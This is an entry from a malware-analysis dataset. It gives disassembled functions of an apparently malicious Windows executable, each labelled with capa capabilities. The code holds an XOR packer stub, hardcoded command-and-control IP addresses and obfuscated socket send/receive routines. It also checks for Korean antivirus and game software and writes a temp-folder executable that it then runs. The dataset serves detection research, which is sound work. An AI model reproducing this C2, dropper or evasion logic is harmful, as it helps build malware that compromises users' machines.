joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.00401507
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x429703
Capabilities:
Resolve function by parsing pe exports

Disassembly:
not edx
not edx
mov eax, 0
cld
clc
nop
cld
not ebp
not ebp
cld
dec esp
inc esp
cld
push eax
nop
sahf
wait
mov ch, ch
not dh
not dh
imul eax, eax, 0x10
stc
xchg dword [esp], eax
jmp 0x4295b6
add al, dl
lea edx, [edx + ebx]
sub cl, 0x31
push dword [edx + 0x20]
pop esi
lea esi, [ebx + esi]
jmp 0x42972c
cmp dh, 0x94
add esi, ebx
clc
ret 4
sahf
cmc
sub dword [esp], eax
cld
movzx eax, byte [edi]
sub edi, 0xffffffff
jmp 0x4297b3
mov edi, dword [edx + 0x1c]
cmp eax, 0xffffffa2
not eax
adc eax, 0xe68ae329
mov eax, 0x334a8761
cmp ah, 2
mov esi, dword [edx + 0x24]
dec dh
cld
add esi, ebx
xchg edx, edx
movzx eax, word [esi + ecx*2]
jmp 0x429671
mov dl, dh
add edi, ebx
mov esi, dword [edi + eax*4]
jmp 0x4295ad
lea ecx, [ecx]
not esi
not esi
not bl
not bl
jne 0x4250d3
xchg edx, edx
xchg edx, edx
lea ecx, [ecx]
xor eax, 0x69521502
jmp 0x4298e8
ret
push dword [ebx + 0x3c]
mov edx, ecx
cmp cl, 0xb8
xchg ecx, edi
xchg ecx, esi
nop
lahf
cld
sbb al, bl
pop eax
mov edi, ecx
mov edx, dword [eax + ebx + 0x78]
jmp 0x4294cc
add ecx, 1
cmp edi, 0xffffffa9
lodsd eax, dword [esi]
jmp 0x42979e
push 0xffffffffffffffff
xchg ah, al
cmp ah, dl
xchg edi, edi
not al
mov edi, esi
and al, dh
pop ecx
jmp 0x429720
lea edi, [eax + ebx]
xchg edx, ebp
xchg edx, ebp
cmp ecx, dword [edx + 0x18]
je 0x429700
jmp 0x4250be
sub dword [esp], eax
pop eax
test byte [edi], 0xff
jmp 0x429697
nop
sub eax, dword [esp + 4]
jne 0x429720
jmp 0x429617
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1f4e1746
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x39616f79
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x418d20
push 0x67
push esi
call edi
push 0x64
push 0x418c58
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401190
push 0
push esi
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x418d20
push 0x418c58
push 0
mov dword [0x418de8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404563
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402a93
call fcn.00402060
test eax, eax
je 0x4010c3
call fcn.00403194
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012e0
test eax, eax
je 0x40107a
call fcn.00401490
mov ecx, dword [0x419688]
test ecx, ecx
jbe 0x4010fb
cmp word [0x41968c], 0
jbe 0x4010fb
mov esi, str.218.54.31.226
call fcn.00403821
mov ax, word [0x41968c]
mov word [0x41808c], ax
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.tmp5fdr.exe]
mov word [eax + 0x419bc0], cx
add eax, 2
test cx, cx
jne 0x401100
call fcn.00403885
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00408090
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x419bc0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404572
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x414c50
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012e0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1dc
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1d4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00408090
add esp, 0xc
lea edi, [esp + 0x198]
call fcn.004033de
xor eax, eax
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x418df0], cx
add eax, 2
test cx, cx
jne 0x401321
push 0x418df0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40136e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x1d4]
xor ecx, esp
call fcn.00404563
add esp, 0x1dc
ret
push 0x418df0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401355
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x4197c0
call fcn.00401d20
test eax, eax
jne 0x401440
jmp 0x4013b0
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x419968], cx
add eax, 2
test cx, cx
jne 0x4013b0
push str.112.175.88.207
push 0x40
push 0x4197c4
call fcn.004045ef
add esp, 0xc
push str.AAAA
push 0x10
push 0x419846
call fcn.004045ef
add esp, 0xc
push 0x414c8c
push 0x40
push 0x419866
call fcn.004045ef
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x419844], ax
mov word [0x4198e6], cx
xor eax, eax
jmp 0x401420
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x419948], cx
add eax, 2
test cx, cx
jne 0x401420
mov dword [0x419988], 5
call fcn.0040346c
push 0x414c8c
call fcn.004034f5
add esp, 4
mov dword [0x419688], eax
call fcn.00401940
push 0
push 0
push 0
push 0x401740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x1dc]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00404563
add esp, 0x1dc
ret
Function at 0x401800
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push esi
push edi
mov ecx, str.112.175.88.209
call fcn.00403a4f
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x401922
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00408090
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00408090
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x418e30
jmp 0x401880
cmp word [esi], 0
je 0x4018b6
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004045ef
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00404572
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x401880
mov esi, 0x418e30
lea esp, [esp]
cmp word [esi], 0
je 0x4018e6
push edi
push str.112.175.88.209
mov ecx, esi
call fcn.00404231
add esp, 8
add esi, 0x118
cmp esi, 0x4193a8
jl 0x4018d0
push 0x419bc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00404572
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401920
mov ebx, 2
mov eax, ebx
mov ecx, dword [esp + 0x41c]
pop esi
pop ebx
xor ecx, esp
call fcn.00404563
add esp, 0x41c
ret
Function at 0x401ac0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00408090
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00408090
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push str._s_s
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b66
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b91
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bbc
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bea
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c18
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c46
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.00404563
add esp, 0x414
ret
Function at 0x401dc0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401ed3
cmp esi, ebx
je 0x401ed3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401df0
sub eax, edx
sar eax, 1
je 0x401ed3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00408090
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401e5a
cmp dword [0x418070], 3
jne 0x401e5a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404572
add esp, 0xc
jmp 0x401e6a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404572
push 0x414fd4
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.004048c4
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401ed3
push eax
push 1
push 0x200
push edi
call fcn.00404bb7
mov eax, dword [esp + 0x14]
push eax
call fcn.00404c4b
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00404563
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00404563
add esp, 0x210
ret

Function at 0x401f90
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00408090
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402042
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404572
push 0x414ff4
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.004048c4
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402027
push eax
push 1
push 0x200
push esi
call fcn.00404e29
mov eax, dword [esp + 0x14]
push eax
call fcn.00404c4b
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00404563
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00404563
add esp, 0x210
ret
Function at 0x402910
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00408090
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00408090
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401ef0
test eax, eax
je 0x402a7a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x414c8c]
mov word [eax + 0x4194b8], cx
add eax, 2
test cx, cx
jne 0x402970
xor eax, eax
jmp 0x402990
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x4193b0], cx
add eax, 2
test cx, cx
jne 0x402990
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x419430], cx
add eax, 2
test cx, cx
jne 0x4029b0
cmp dword [0x418070], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x4194b0], ax
mov word [0x419538], cx
mov dword [0x41953c], 5
je 0x402a09
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402a36
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.00404572
add esp, 0xc
push str.golfset.ini
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.00404572
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.00404563
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00404563
add esp, 0x414
ret

Function at 0x402a93
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [0x418070], 0
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00408090
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b1d
mov eax, dword [ebp - 0x78]
push 5
pop ecx
cmp dword [ebp - 0x7c], ecx
jne 0x402afc
cmp eax, 2
jae 0x402af2
cmp eax, 1
jne 0x402b1d
mov dword [0x418070], 3
cmp dword [ebp - 0x7c], 6
jne 0x402b1d
test eax, eax
jne 0x402b12
mov dword [0x418070], 4
jmp 0x402b1d
cmp eax, 1
jne 0x402b1d
mov dword [0x418070], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.00404563
add ebp, 0xa0
leave
ret
Function at 0x402b32
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408090
add esp, 0xc
cmp dword [0x418070], 3
lea eax, [ebp - 0x20c]
jne 0x402b98
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404572
add esp, 0xc
pop esi
jmp 0x402ba4
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00404563
leave
ret

Function at 0x402d2a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x214], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408090
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402eb2
push dword [ebp - 0x214]
call fcn.00402f9f
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402da2
xor eax, eax
jmp 0x402da9
push esi
call fcn.00402c62
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404563
leave
ret

Function at 0x402e65
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x402ead
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x403e99
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403f16
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403ec0
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403eb4
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040587f
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408c50
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403f19
cmp eax, dword [ebp - 4]
jne 0x403f19
mov dword [ebp - 8], 1
jmp 0x403f19
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403f24
push ebx
call fcn.00405c4a
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x4040bd
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x4040fb
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404219
cmp edi, ebx
je 0x404219
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00408090
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404219
cmp eax, ebx
je 0x404219
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.0040587f
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x404204
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4041e2
test eax, eax
je 0x4041e2
add ebx, eax
cmp edi, ebx
jg 0x40416a
push 5
pop ecx
cmp ebx, ecx
jl 0x404204
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x404204
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x4041c2
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4041bc
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x4041ea
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00408c50
mov dword [esi], ebx
jmp 0x4041f7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404204
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00408c50
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404219
push dword [ebp - 0x860]
call fcn.00405c4a
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404563
add ebp, 0x70
leave
ret
Function at 0x40efc1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409d16
and dword [ebp - 4], 0
cmp dword [0x418b2c], 0
mov ebx, eax
jne 0x40f072
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f123
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40f123
push eax
call fcn.00409ca4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418b2c], eax
call esi
push eax
call fcn.00409ca4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418b30], eax
call esi
push eax
call fcn.00409ca4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x418b34], eax
call esi
push eax
call fcn.00409ca4
pop ecx
mov dword [0x418b3c], eax
test eax, eax
je 0x40f072
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00409ca4
pop ecx
mov dword [0x418b38], eax
mov eax, dword [0x418b38]
cmp eax, ebx
je 0x40f0ca
cmp dword [0x418b3c], ebx
je 0x40f0ca
push eax
call fcn.00409d1f
push dword [0x418b3c]
mov esi, eax
call fcn.00409d1f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f0ca
test edi, edi
je 0x40f0ca
call esi
test eax, eax
je 0x40f0c1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f0c1
test byte [ebp - 0xc], 1
jne 0x40f0ca
or dword [ebp + 0x10], 0x200000
jmp 0x40f103
mov eax, dword [0x418b30]
cmp eax, ebx
je 0x40f103
push eax
call fcn.00409d1f
pop ecx
test eax, eax
je 0x40f103
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f103
mov eax, dword [0x418b34]
cmp eax, ebx
je 0x40f103
push eax
call fcn.00409d1f
pop ecx
test eax, eax
je 0x40f103
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b2c]
call fcn.00409d1f
pop ecx
test eax, eax
je 0x40f123
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f125
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408938
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
push 0x6adf8253
pop edx
add edi, edi
call fcn.00408968
xor dword [esi], eax
or edi, edi
inc esi
cmp esi, ecx
jne fcn.00408938
add edx, 0xaeda6a0d
sub edi, edi
ret